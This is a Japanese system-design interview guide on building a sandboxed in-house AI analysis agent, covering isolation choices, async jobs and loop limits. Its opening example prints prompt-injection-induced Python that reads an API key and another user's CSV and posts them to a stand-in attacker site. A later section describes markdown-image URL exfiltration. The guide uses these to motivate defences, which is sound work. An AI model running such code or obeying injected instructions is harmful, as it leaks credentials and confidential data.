
ケース面接
2026/11/03
技術設計面接(システムデザイン面接)のお題「社内の調査と分析を任せる AI エージェント」を題材に、事前に押さえておく知識、面接で引き出せる前提、論点、模範解答、よくあるつまずきを順に解説します。
ほかのお題の解説は技術設計面接の解説と模範解答まとめにあります。
この記事で使う設計の基礎は、日本語のシステムデザイン面接の教材 SystemDesign InterviewCat で詳しく学べます。この記事の各節に関係する章は次のとおりです。
InterviewCat の章 | この記事で関係する節 |
|---|---|
SystemDesign InterviewCat の全体像 | |
4. 全体構成(ジョブのキューとワーカー) | |
6. 長時間の実行(ワーカーが止まったときの再開) | |
6. 長時間の実行(途中経過の返し方) | |
6. 長時間の実行、8. 障害への備え | |
7. ループの制御(検索と費用の上限) | |
4. 全体構成(500MB のファイルの受け取り) | |
3. データモデル、6. 状態の保存 | |
5. sandbox の隔離(利用者ごとにデータを分ける) |
設計面接では、お題を聞いた時点で「たぶんこの作りだろう」という仮説を持ち、前提を聞くたびにそれを確かめたり崩したりします。AI エージェントのお題なら、まず「LLM(文章を読んで続きを書くモデル)が書いた Python を、何から切り離して動かすか」の選択肢を押さえておきます。この選び方を隔離方式と呼びます。LLM が書くコードは誰も事前に読んでいないので、悪意のある入力に誘導されたコードも動きうる、という前提で選びます。
社員が依頼を送ると、エージェントは LLM に次の一手を決めさせ、決まった道具(Web 検索、ファイルの読み込み、Python の実行)をアプリが実行し、その結果を LLM に返す、を繰り返します。Python の実行は、この繰り返しの中の道具の 1 つです。
この記事では、次の例で方式を比べます。Web 検索で開いたページに書かれた指示に LLM が従ってしまい(プロンプトインジェクション)、次の 3 行を書いたとします。
key = os.environ["LLM_API_KEY"] # ① 環境変数から LLM の API キーを読む
rows = open("/data/別の会話/sales.csv").read() # ② 他の会話の CSV を開く
requests.post("https://攻撃者のサイト", data=key + rows) # ③ 読んだ中身を外部のサイトへ送るさらに 4 行目として、④ カーネルの不具合を突いて sandbox の外に出るコードを足した場合も考えます。① から ③ は普通の Python で書けますが、④ は難しい攻撃です。それでも、誰も読まないコードを動かす以上、起こりうるものとして扱います。

道具を実際に実行するのはアプリなので、LLM がどんなコードを書いても、どこで動かすかはアプリが決められます。隔離方式は、コードとホストの間のどこに境目を置くかの違いです。① から ③ が通るかは、境目の位置ではなく、sandbox に何を入れ、外への通信を許すかで決まります。境目の位置で結果が変わるのは ④ だけです。
例の 4 行を動かしたとき、方式ごとにどの行が通るかを並べます。
アプリと同じプロセスで実行:エージェントのプログラムの中で、受け取ったコードをそのまま実行します。準備が要らず一番速く動きます。その代わり、3 行ともすべて通ります。① はエージェント自身の API キーを読み、② はエージェントが読めるファイルなら何でも開け、③ はエージェントと同じ通信で外へ送れます。④ を書くまでもありません。お試しの段階を除いて、選ぶ理由はありません。
コンテナ:Docker などで、プロセスごとに見えるファイルやネットワークを分けます。同じプロセスと比べると、コードから見えるものを入れたものだけに絞れ、CPU やメモリの上限も付けられます。API キーと他の会話のファイルを入れていなければ、① と ② は失敗します。ただし外への通信を止めていなければ、③ は通ります。弱いところは、同じマシンの全コンテナが 1 つのカーネルを共有することです。④ が成功するとコンテナの外に出て、ホストや同じマシンのほかの会話に届きます。
gVisor:コンテナのように動かしますが、コードがカーネルに出す頼みごとを途中で受け取り、gVisor が持つ小さな代わりのカーネルが処理します。① から ③ の結果はコンテナと同じです。差が出るのは ④ で、コードが直接触れるのは代わりのカーネルなので、ホストのカーネルに届くには、まずそれを破る必要があります。代わりに、頼みごとのたびに処理が重くなり、対応していない頼みごともあります。
microVM:Firecracker のような、機能を絞った小さな仮想マシンで 1 つずつ動かします。① から ③ の結果はコンテナと同じです。④ で破れるのは仮想マシンの中の専用のカーネルまでで、ホストに届くには仮想マシンの境目も破る必要があります。ここまでの方式で、ホストに一番届きにくい作りです。Firecracker は 125ms 未満で起動するとしていますが、仮想化を使えるマシンを用意して運用する手間がかかります。
外部の実行サービス:E2B や Modal のように、sandbox を作って動かすところまでを他社が運用します。中身は gVisor や microVM なので、④ への強さはその方式と同じで、少ない人数でも強い隔離を使えます。その代わり、アップロードされたデータは多くの場合その会社の環境で処理されます。E2B の BYOC のように、企業向けの契約で自社のクラウドに sandbox を置ける例もあります(E2B, BYOC)。
どの方式でも、隔離の強さだけでは守りきれません。① と ② を止めるのは sandbox に何を入れるかで、③ を止めるのは外への通信の設定です。Anthropic は、ファイルの隔離とネットワークの隔離は両方そろって初めて意味がある、と説明しています(Anthropic, 2025)。
方式の違いは、「例の 4 行のうちどれが通るか」に、「自前で運用する手間」と「データを自社のクラウドに置いたまま使えるか」を加えて比べると分かりやすくなります。
方式 | API キーと他の会話のファイルを入れず、通信も止めたとき、例の 4 行で通るもの | 自前で運用する手間 | データを自社のクラウドに置いたまま使えるか |
|---|---|---|---|
同じプロセス | 4 行とも通る。API キーもファイルも通信もアプリと共有している | なし | 使える |
コンテナ | ④ だけ。通るとホストや同じマシンのほかの会話に届く | 軽い | 使える |
gVisor | ④ だけ。まず代わりのカーネルを破る必要があり、ホストに届きにくい | 軽い。カーネルへの頼みごとが多い処理は遅くなる | 使える |
microVM | ④ だけ。仮想マシンの境目も破る必要があり、ホストに一番届きにくい | 仮想化を使えるマシンを用意する手間がある | 使える |
外部の実行サービス | 中身の方式による | ほぼなし | 多くは社外で処理される。自社のクラウドに置ける契約もある(E2B の BYOC) |
表から分かるとおり、隔離が強い方式ほど自前で運用する手間が増え、手間を外に任せると、多くの場合データが社外に出ます。社内で動かせて運用も軽いのが gVisor で、代わりにカーネルへの頼みごとが多い処理(小さなファイルを何度も開くなど)が遅くなります。① から ③ は、どの方式を選んでも、sandbox に入れるものと外への通信を別に決めて防ぎます。
お題文だけを読んだ段階では、次の仮説を置きがちです。どれも筋は悪くありませんが、前提を聞くと一部が崩れます。答え合わせは「隠れていた前提を見直す」で行います。
仮説 | 中身 | 確かめること |
|---|---|---|
1 | Python は Docker のコンテナで動かせば安全 | 何から切り離したいか、コードに外への通信が要るか、データを社外に出してよいか |
2 | 依頼はチャットの 1 回の応答として返せる | 1 依頼にかかる時間、途中経過が要るか、同時に何件来るか |
3 | 会話の状態は、やり取りの文章だけ持てばよい | 前の変数やファイルを使い続けるか、結果を再現する必要があるか、どれだけ保持するか |
4 | LLM に道具を渡し、終わるまで任せればよい | 1 依頼の費用の目安、検索の上限、プロンプトインジェクション(検索結果に混ざった指示) |
面接官から示されるお題は次のとおりです。
本日はシステムの設計方法についてディスカッションしたいと思います。今、社内の調査や分析を任せられるAIエージェントを作ることを考えています。社員がチャットで依頼すると、AIがWeb検索、アップロードされたファイルの読み込み、Pythonコードの実行を繰り返し、分析結果とグラフを返すようにしたいです
▼このお題は CaseMatch の AI 面接で、面接官に前提を質問しながら練習できます。
前提は質問すれば答えてもらえます。面接で引き出せる前提を、隔離方式の選び方に関わるものとそれ以外に分けて並べます。種類の列は、機能要件、非機能要件、制約、将来の要望のどれにあたるかです。設計への影響の列は、次の節の問いを考えてから読んでください。
事前知識の比較表の 3 つの比べ方(例の 4 行のうちどれが通るか、自前で運用する手間、データを自社のクラウドに置いたまま使えるか)と、sandbox に何を持たせ何を持たせないかを決める前提です。
種類 | 前提 | 値 | 設計への影響 |
|---|---|---|---|
制約 | 触れてはいけないもの | 社内ネットワークや他人のデータに触れてはいけない | 外向きの通信を止め、会話ごとに sandbox を分ける |
制約 | データの機密 | 社外秘の売上データを扱う | 外部の実行サービスに渡せるかを先に確かめる |
制約 | 暴走 | 無限ループ・メモリ超過・大量出力がありうる | 実行時間、メモリ、出力の大きさに sandbox ごとの上限を付ける |
制約 | ライブラリ | Pythonのライブラリは事前に決めた固定セットで、実行中の pip install は許さない | 外向きの通信がまったく無い sandbox で済む |
機能 | 引き継ぎ | 同じ会話で前の変数とファイルを引き継ぐ | sandbox を捨てても戻せるよう、実行したコードとファイルを外に残す |
非機能 | データの大きさ | 数百MBのCSV | sandbox に十分なメモリが要り、中身は LLM に渡さない |
非機能 | 同時の依頼 | 社員500名、同時50依頼 | sandbox を最大 50 並べる |
非機能 | 依頼の山 | 平均の同時依頼は10前後、月初の月次レポート作成の3営業日に50まで上がる | 待機させておく sandbox の数を平常と月初で変える |
制約 | 体制 | 開発と運用はエンジニア3名、夜間と休日の対応はしない | 仮想マシンの自前運用は重く、止まっても人を待たずに戻る作りにする |
将来 | 社内の DWH | 売上データは社内のDWHにあり、いずれ直接つなぎたい(初期はファイルのアップロードのみ) | DWH の認証情報を sandbox に置かず、外側の道具が取り出して渡す |
長時間の実行、ループの制御、監査や保持のように、どの隔離方式を選んでも別に設計が要る前提です。
種類 | 前提 | 値 | 設計への影響 |
|---|---|---|---|
機能 | 目標 | 今は分析の依頼がデータ分析チームの対応待ちで、平均3営業日かかる。定型の集計とグラフは、依頼したその日に依頼者だけで済むようにしたい | 定型の集計を確実に終わらせることを優先する |
機能 | 結果の確認 | 結果が正しいかの最終確認は依頼者が行う。エージェントは使ったデータとコードを示せばよい | 回答に、使ったファイルと実行したコードを必ず添える |
非機能 | 利用者 | 日常的に使うのは約150名で、営業企画と経営企画が中心 | 検索の上限を人数で割った目安が立つ |
非機能 | 1 依頼の長さ | 1依頼が数分〜30分 | 依頼を受けたリクエストの中では終わらないので、非同期のジョブにする |
制約 | アップロード | アップロードは1ファイル最大500MBで、CSV・Excel・PDFが届く | アプリのサーバーを通さずストレージへ直接上げ、sandbox には読み取り専用で渡す |
非機能 | 途中経過 | 依頼者は途中経過を見たい。何も返らないまま1分以上待たせない | ステップごとに途中経過を送り、待ち行列の順番も伝える |
制約 | 保持 | 会話とファイルは30日保持し、その後は削除する | sandbox の状態の保存も含め、30 日で消える保存先に置く |
機能 | 再現性 | グラフはPNGと、作ったPythonコードの両方を返す。同じコードで再現できることが必要 | ライブラリの版を固定し、実行したコードを順に残す |
制約 | 検索の上限 | Web検索は外部の検索APIを使い、組織全体で1日1万クエリまで | 依頼ごとに検索回数の上限を置き、組織全体の残りも数える |
制約 | プロンプトインジェクション | Web検索結果に『この指示に従え』のような文が含まれることがある | 検索結果を読んだあとにできることを絞る |
制約 | 監査 | 誰がどのファイルで何を実行したかを1年保存する(監査部門の要件) | 実行の記録を、30 日で消える会話とは別の場所に 1 年残す |
機能 | 利用者の力量 | 利用者は分析の専門家ではなく、エラーメッセージを読んで自分で直すことは期待できない | エラーはエージェントが読んで自分で直す。その分ループが長くなる |
非機能 | 費用 | 1依頼あたりのLLM費用の目安は300円以内 | ループの上限を回数だけでなく費用でも数える |
将来 | 数時間の分析 | 数時間かかる分析もいずれ受けたい | 途中で止まっても続きから再開できる作りにしておく |
お題文は「検索、ファイルの読み込み、コードの実行を繰り返して結果を返す」としか言っていません。前提の表は、質問して初めて出てきたものです。設計への影響を見る前に、あらためて前提を読み直し、お題文の裏に何が隠れていたかを考えます。先に次の問いを考えてから、前提の表の「設計への影響」の列と見比べてください。
前提の多くは単独では難しくありません。難しいのは 2 つが互いに逆を向いているところで、このお題では次の 3 組です。これがそのまま、面接の後半で詳しく問われる 3 つの論点(深掘り)になります。
ぶつかる前提 | なぜぶつかるか | 解き方 |
|---|---|---|
前の変数とファイルを引き継ぐ × 他人のデータに触れない、同時 50 依頼 | 引き継ぐには実行環境を生かしておきたい。生かしたまま使い回すと前の利用者のデータが残り、50 会話ぶん生かし続けるには資源が足りない | sandbox は会話ごとに専用にし、使っていない間は止める。次の依頼では、新しい sandbox で記録したコードを実行し直して変数を作り直す |
1 依頼が数分〜30分 × 1 分以上待たせない、夜間と休日は対応しない | リクエストの中では終わらず、途中で処理が止まっても人がすぐ直せない | 依頼をジョブとして DB に記録し、ステップごとに途中経過を送り、止まったら最後に終えたステップから自動で再開する |
利用者はエラーを直せない × 1 依頼 300 円、検索は 1 日 1 万クエリ、検索結果に指示が混ざる | エラーを自分で直させるにはループを長く回したいが、回すほど費用と検索を使い、検索結果に混ざった指示に従う機会も増える | ステップ数、時間、費用の上限を依頼ごとに数え、検索結果を読んだあとは外へ情報を出せる道を絞る |
仮説 | 崩した前提 | 置き換え |
|---|---|---|
1. Docker で動かせば安全 | 社内ネットワークや他人のデータに触れない、社外秘のデータ、3 名の体制 | 「コンテナに入れる」は出発点にすぎない。外向きの通信を止め、認証情報を置かず、会話ごとに分けたうえで、カーネルを共有しない gVisor で動かす |
2. 1 回の応答で返す | 1 依頼が数分〜30分、1 分以上待たせない | 依頼はすぐ受け付けて返し、処理は非同期のジョブにする。途中経過はステップごとに送る |
3. 文章だけ持てばよい | 前の変数とファイルを引き継ぐ、同じコードで再現できる | やり取りの文章に加えて、実行したコードとファイルを順に残す。変数はそのコードを実行し直して作り直せる |
4. 終わるまで任せる | 300 円、1 日 1 万クエリ、検索結果に混ざる指示 | 終わり方は LLM に任せず、上限に達したら途中までの結果を返して止める。検索結果は指示ではなくデータとして扱う |
このお題は、LLM に道具を持たせたチャットを作るだけに見えます。しかし実際に問われるのは、誰も読んでいないコードと誰が書いたか分からない検索結果を、社外秘の売上データのすぐ隣で、30 分かけて動かしても何も漏らさず、止まっても続きから戻れる設計です。
論点は 3 つあり、重さの順に sandbox の隔離、長時間の実行、ループの制御です。どれも前提のうち 2 つが互いにぶつかっており、どちらをどう守るかを自分で決めて説明できるかが問われます。どの LLM を使うかは、このお題では深く問われません。
模範解答の深掘り(5〜7)では、論点ごとに「弱い答え」「よい答え」「より良い答え」を並べ、何が足りないかを示しています。
面接での問答の順には合わせず、このお題への答えを 1 つの設計としてまとめた解答例です。設計の筋は、依頼をジョブとして非同期に回し、LLM が書いたコードは外へ通信できず認証情報も持たない会話ごとの sandbox で動かし、すべてのステップを記録して、止まっても記録から続きを再開する、というものです。前提に無いことは仮定として置き、その旨を書いています。
前提を確かめたうえで、最初に作る範囲を次のように切ります。
LLM と Web 検索は外部の API を使います。コードを動かす sandbox は社内のクラウド環境に置き、社外秘のデータを外部の実行サービスに渡さないと仮定します。
見積もりで出すのは、構成を決める 3 つだけです。どれも前提の値から出せます。
見積もり | 計算 | 決まること |
|---|---|---|
月初のメモリ | 同時 50 × sandbox 1 つ数 GB = 合計 100 GB 以上 | 月初の 3 営業日だけ台数を増やし、平常は同時 10 前後に合わせて縮める |
検索 | 1 日 1 万クエリ ÷ 日常の利用者 150 名 ≒ 1 人 1 日 67 クエリ | 1 依頼の検索は数十回までに抑え、組織全体の残りも数える |
LLM に渡す量 | 数百 MB の CSV をそのまま渡すと、LLM の入力の上限と 1 依頼 300 円を超える | 中身は sandbox の中で集計し、LLM には列名と行数と集計結果だけを渡す |
ジョブの状態とステップの記録は DB に、ファイルと sandbox の状態はオブジェクトストレージに置き、sandbox の中には何も残さない前提で作ります。中心になる表は次の 4 つです。
表 | 主な項目 | 書き換え |
|---|---|---|
会話 | 会話 ID、依頼者、作成日時、削除予定日(30 日後) | 削除予定日だけを延ばす |
ジョブ | ジョブ ID、会話 ID、状態(待ち、実行中、完了、上限で停止、失敗)、最後に終えたステップ番号、使った費用と検索回数、担当ワーカーと担当の期限 | 状態と数値を更新する |
ステップ | ジョブ ID、ステップ番号、種類(LLM、検索、ファイル、コード実行)、入力、結果の要約、実行したコード、使ったファイル ID | 追記のみ |
ファイル | ファイル ID、会話 ID、種類(アップロード、グラフ、コード、sandbox の状態)、保存先、ハッシュ | 追記のみ |
ステップの表は、再開の手がかり、依頼者に示すコードの出どころ、監査の記録の 3 つを兼ねます。監査に要る項目(誰が、どのファイルで、何を実行したか)は、ステップを書くたびに別の追記専用の保存先にも写し、30 日で会話を消しても 1 年残します。
依頼を受けるところはすぐに応答を返し、時間のかかる処理はすべてその裏のワーカーで動きます。LLM が書いたコードに触れるのは sandbox だけで、sandbox からはどこにも通信できません。

色を付けた sandbox がこの設計の要で、LLM が書いたコードはここ以外では動きません。
ジョブ DB は RDB、キューとワーカーはマネージドのものを使います。sandbox も、gVisor で動かせるマネージドのコンテナ基盤の上に置き、3 名で仮想マシンを運用しなくて済むようにします。
実例:Anthropic の API では、Web 検索やコード実行のような道具は Anthropic の環境で実行され、自分で定義した道具は、モデルが返す
tool_useを受けてアプリが実行しtool_resultで返します(Anthropic, Tool use with Claude)。この設計では社外秘のデータを外に出さないため、コード実行を自分で定義した道具として持ち、自社の sandbox で動かします。Anthropic の調査用エージェントも、長い間状態を持って動き続けるエージェントのために、止まった箇所から再開できる仕組みを作ったと書いています(Anthropic, 2025)。
代わりの案:sandbox を自前で持たず、E2B や Modal のような外部の実行サービスを使う構成も、運用の手間では有力です。Modal の sandbox は gVisor か仮想マシンで動き(Modal Sandboxes)、E2B は sandbox を一時停止するとファイルとメモリの両方を保存できます(E2B)。違いは、社外秘の売上データを社外で処理してよいかです。E2B の BYOC のように自社のクラウドに sandbox を置ける契約なら、この違いは小さくなります。社内の情報セキュリティの規程とその会社との契約で外に出せると確かめられれば、こちらに入れ替えても、ジョブとステップの記録、道具のゲートウェイという設計の要点は変わりません。
LLM が書いたコードは、会話ごとに専用の sandbox で動かし、社内ネットワーク、他人のデータ、認証情報の 3 つから切り離します。最初の仮説の 1 は、ここで崩れます。コンテナに入れる点は残し、何から切り離すかを決めて、その一つずつに手当てを置きます。
答えの段階 | 答え | 足りないところ |
|---|---|---|
弱い答え | Docker のコンテナで動かします | 何を守るのかが無く、外への通信も認証情報も残ったままになりうる |
よい答え | 外向きの通信を止め、会話ごとにコンテナを分け、認証情報を置きません | カーネルを共有するので、不具合を突かれると同じマシンのほかの会話に届く。暴走への上限と起動の待ちも無い |
より良い答え | そのうえで gVisor で動かし、資源に上限を付け、起動済みの sandbox を待たせておきます | なし(中身は下の 6 つ) |
より良い答えの中身は次のとおりです。
pip install も許さないので、sandbox に外への通信は要りません。社内ネットワークも、クラウドの認証情報を返すメタデータサーバーも、外部のサイトも届かないようにします。Web 検索はワーカー側の道具が行い、sandbox には結果だけを渡します。この構成で最初に詰まるのは、月初に 50 の sandbox がそれぞれ数 GB のメモリを使う時間帯です。待機の数を超えたら新しい依頼は待ち行列に入れ、何番目かを途中経過で伝えます。
実例:Anthropic は Claude Code の sandbox で、作業ディレクトリの外を書き換えさせないファイルの隔離と、プロキシで接続先を絞るネットワークの隔離の両方を入れています。ネットワークを絞らなければ認証情報のファイルを外へ送られ、ファイルを絞らなければ sandbox を抜けてネットワークに出られる、という理由です(Anthropic, 2025)。gVisor はコードからカーネルへの頼みごとをホストのカーネルに渡さず自分で処理し(gVisor)、Firecracker は AWS Lambda の基盤として 1 台に多数の microVM を詰めて動かしています(Firecracker)。
依頼はジョブとして非同期に回し、状態はワーカーや sandbox の中ではなく DB とストレージに持ちます。そうすれば、途中経過を返すことも、止まったあとの再開も、記録を読むだけで済みます。
答えの段階 | 答え | 足りないところ |
|---|---|---|
弱い答え | 非同期にします | 状態をどこに持ち、依頼者にどう見せるかが無い |
よい答え | キューとワーカーで回し、ジョブの状態を DB に持って、SSE で途中経過を返します | ワーカーが途中で止まったときの続きと、会話をまたいだ変数の引き継ぎが無い |
より良い答え | ステップごとに記録し、止まったら最後のステップから再開し、変数は記録したコードから作り直します | なし(中身は下の流れ) |
再開で難しいのは、sandbox の中にあった変数です。この設計では、それまでに実行したコードをステップの表から順に取り出し、新しい sandbox で実行し直して変数を作り直します。検索の結果は記録したものを使い、検索し直しません。前提にある「同じコードで再現できること」を満たすためにライブラリの版を固定し、乱数の種と、コードが使う現在時刻は最初に実行したときの値を記録して与えるので、同じコードからは同じ変数ができます。ただし、実行し直すには元の実行と同じだけ時間がかかります。30 分かかった集計を含むときのように実行し直しに時間がかかるようになったら、状態の保存に切り替えます。
夜間と休日に人が対応しなくてよいのは、止まったときの扱いが「期限が切れたら別のワーカーが続きをやる」に決まっていて、人の判断が要らないからです。
実例:Anthropic の調査用エージェントは、エラーが起きた時点から再開できる仕組みと、実行中のエージェントを止めないよう新旧の版へ少しずつ切り替えるデプロイを使っています(Anthropic, 2025)。Temporal は、起きたことを順に記録した履歴を正として、止まったワークフローをコードの先頭から履歴どおりに実行し直して元の状態に戻し、終わった処理は記録した結果を使います(Temporal Workflows)。この節の、記録したコードを実行し直して変数を作り直す方法と同じ考え方です。SSE のイベント ID と再接続は MDN の解説にあります(MDN)。
ループをいつ止めるかは LLM に任せず、ワーカーと道具のゲートウェイが依頼ごとに数えて決めます。上限に達したら、途中までの結果を返して止めます。
答えの段階 | 答え | 足りないところ |
|---|---|---|
弱い答え | 上限を設けます | 何に上限を置くかが無い |
よい答え | ステップ数、時間、費用に依頼ごとの上限を置きます | 上限に達したときに依頼者に何を返すかと、検索結果に混ざった指示への備えが無い |
より良い答え | 上限に達したら途中までの結果を返し、道具を絞り、検索結果を読んだあとに外へ出せる道を塞ぎます | なし(中身は下の 4 つ) |
 のような画像を書かせると、画面が画像を読み込むときにデータが URL に乗って外へ送られます。そのため、検索クエリは長さを絞って監査ログに残し、回答の中の外部の画像は表示しません。どのくらいで上限に達するかは、使い始めてからステップの記録で確かめ、定型の集計が上限内に収まるよう上限と道具の説明を直します。
実例:Anthropic は、エージェントには各ステップで道具の実行結果のような環境からの手がかりが要り、最大の繰り返し回数のような止める条件を入れるよう勧めています(Anthropic, 2024)。道具は多いほどよいわけではないこと、結果を絞り込みや切り詰めで小さく返すことも同社の解説にあります(Anthropic, 2025)。私的なデータ、信用できない内容、外への通信の 3 つがそろうと攻撃者にデータを持ち出されるという整理は Simon Willison の記事(Willison, 2025)、信用できない入力を読んだあとにできることを制限する設計の型は同氏による論文の紹介(Willison, 2025)にあります。
どこが止まっても、依頼者には「何が起きて、待てばよいのか、どこまでできたのか」が途中経過として見えるようにします。
止まるもの | 依頼者に見えること | 手当て |
|---|---|---|
LLM API | 「応答を待っています」が出て、少し遅れて続く | 間隔を空けて再試行する。決めた時間を超えたら、途中までの結果を返してジョブを止める |
検索 API の 1 日の上限 | 検索を使わずに分析したと回答に書かれる | 組織全体の残りが少なくなったら、依頼ごとの検索回数を下げる |
sandbox(メモリ超過など) | 変わらない。エージェントがコードを書き直して続ける | エラーを LLM に返し、決めた回数を超えたら途中までの結果を返す |
ワーカー | 途中経過が数分止まり、同じ続きから再開する | 担当の期限切れで別のワーカーが取り直す(6 の流れ) |
チャット API と SSE の接続 | 画面を開き直すと続きが見える | ジョブは止まらない。最後に受け取ったイベント ID から送り直す |
監視するのは、待ち行列の長さと待ち時間、待機中の sandbox の残り、上限で止まったジョブの割合、1 依頼の費用、検索の残りです。加えて、sandbox から外への通信がブロックされた記録を見ます。そこに記録が出るのは、生成したコードが外へ出ようとしたときだけだからです。
面接の後半では、運用で起きた不具合や将来の要望という形で条件が足されます。答え方は、今の設計でなぜ起きたか、何をきっかけに何をどう処理して直すか、変えずに済むところはどこか、の順です。
例 1:月初の朝、依頼してから何も表示されないまま数分待たされた
例 2:売上データを DWH から直接読みたい
判断 | 選んだ案 | 捨てた案、代わりの案 | 理由 |
|---|---|---|---|
コードの実行場所 | 会話ごとの sandbox を gVisor で、外向きの通信なし | アプリと同じプロセス、普通のコンテナ、自前の microVM | カーネルを共有せず、3 名でも運用できる |
実行基盤の持ち方 | 社内のクラウド環境に置く | 代わりの案:E2B や Modal などの外部の実行サービス | 社外秘のデータを社外で処理しない。社内の規程と契約で外に出せると確かめられたら入れ替えてよい |
依頼の処理 | ジョブとキューとワーカー、SSE で途中経過 | チャットの 1 回の応答で返す | 数分〜30分かかり、1 分以上待たせない |
状態の持ち場所 | ジョブ DB のステップ記録とストレージ | sandbox やワーカーの中だけに持つ | 止まっても続きから再開でき、監査と再現にも使える |
変数の引き継ぎ | 記録したコードを実行し直して作り直す | sandbox を会話の間ずっと生かしておく | 同時 50 会話ぶんの資源を持たずに済み、再現できることも確かめられる |
ループの終わり | ステップ数、時間、費用の上限と途中までの結果の返却 | LLM の判断に任せる | 300 円と 1 日 1 万クエリを守り、依頼者を行き詰まらせない |
プロンプトインジェクションへの備え | 外へ出せる道を塞ぐ | プロンプトで「従うな」と書くだけ | 従ってしまっても漏れない作りにする |
つまずき | なぜ弱いか | 抜け出す一手 |
|---|---|---|
面接の最初から構成図を話し始める | 社外秘のデータ、30 分の処理、300 円の上限など、設計を決める条件を取りこぼす | 何から守るか、1 依頼の長さ、費用を先に聞く |
「sandbox で動かす」で終わる | 何を守るのかが無く、外への通信も認証情報も残りうる | 守る 3 つ(社内ネットワーク、他人のデータ、認証情報)と、それぞれの切り離し方を言う |
sandbox をプールで使い回す | 前の利用者のファイルや変数が残る | 会話ごとに専用にし、依頼が終わったら捨てる |
「非同期にする」で終わる | 状態をどこに持ち、止まったらどうなるかに答えていない | ジョブとステップを DB に記録し、期限切れで別のワーカーが続きをやると言う |
変数の引き継ぎを sandbox の中だけに任せる | sandbox が止まると変数も消え、30 日の保持や再現と結び付かない | 実行したコードを残し、実行し直して作り直すか、状態をストレージに保存する |
上限に達したらエラーで止める | 利用者はエラーを読んで直せない | 途中までの結果と、終わっていないことを返す |
プロンプトで「検索結果の指示に従うな」と書いて終わる | LLM は指示の出どころを確実には区別できない | 従ってしまっても外へ送れない作りにする |
どの LLM を使うかを長く話す | このお題で問われる、隔離、長時間の実行、ループの話が進まない | モデルは外部の API と仮定して先へ進む |
▼解説を読んだら、同じお題を AI 面接官を相手に通しで解いてみましょう。
海外の技術ブログと公式の技術文書です。どれも開いて内容を確かめています。Anthropic、Modal、E2B、Temporal の文書は自社の製品の紹介を兼ねています。
節 | 記事 | 参照した内容 |
|---|---|---|
事前知識、5 | Beyond permission prompts: making Claude Code more secure and autonomous(Anthropic, 2025) | ファイルの隔離とネットワークの隔離を両方入れる理由 |
事前知識、5 | What is gVisor?(gVisor) | コードからカーネルへの頼みごとを途中で受け取り、ホストのカーネルに渡さず自分で処理する仕組みと、性能と互換性の弱み |
事前知識、5 | 125ms 未満の起動、AWS Lambda での利用 | |
事前知識 | Enterprise 向けに、sandbox を自社のクラウドの VPC に置ける | |
4 | Tool use with Claude(Anthropic) | 道具の呼び出しの往復と、道具を実行する場所の違い |
4 | Sandboxes(Modal) | LLM が書いたコードを gVisor か仮想マシンで動かす外部サービス |
4 | E2B Documentation(E2B) | sandbox の一時停止でファイルとメモリを保存する |
4, 6 | How we built our multi-agent research system(Anthropic, 2025) | 止まった箇所からの再開、実行中のエージェントを止めないデプロイ |
6 | Temporal Workflow(Temporal) | 履歴を正とし、実行し直して状態を戻す |
6 | イベント ID と再接続 | |
7 | Building effective agents(Anthropic, 2024) | 環境からの手がかりと止める条件 |
7 | Writing effective tools for agents(Anthropic, 2025) | 道具の数を絞り、結果を小さく返す |
7 | The lethal trifecta for AI agents(Simon Willison, 2025) | 私的なデータ、信用できない内容、外への通信の 3 つがそろう危険 |
7 | Design Patterns for Securing LLM Agents against Prompt Injections(Simon Willison, 2025) | 信用できない入力を読んだあとにできることを制限する設計の型 |
▼ほかのお題の解説
公式アカウント
CaseMatch編集部
CaseMatch編集部は、就活・転職における面接対策やキャリア選択に役立つ情報を発信する編集チームです。AI面接練習サービス「CaseMatch」の運営で得た知見や、企業選考・ケース面接・自己分析に関する実践的なノウハウをもとに、候補者が納得感を持って選考に臨めるコンテンツをお届けします。
1分で完了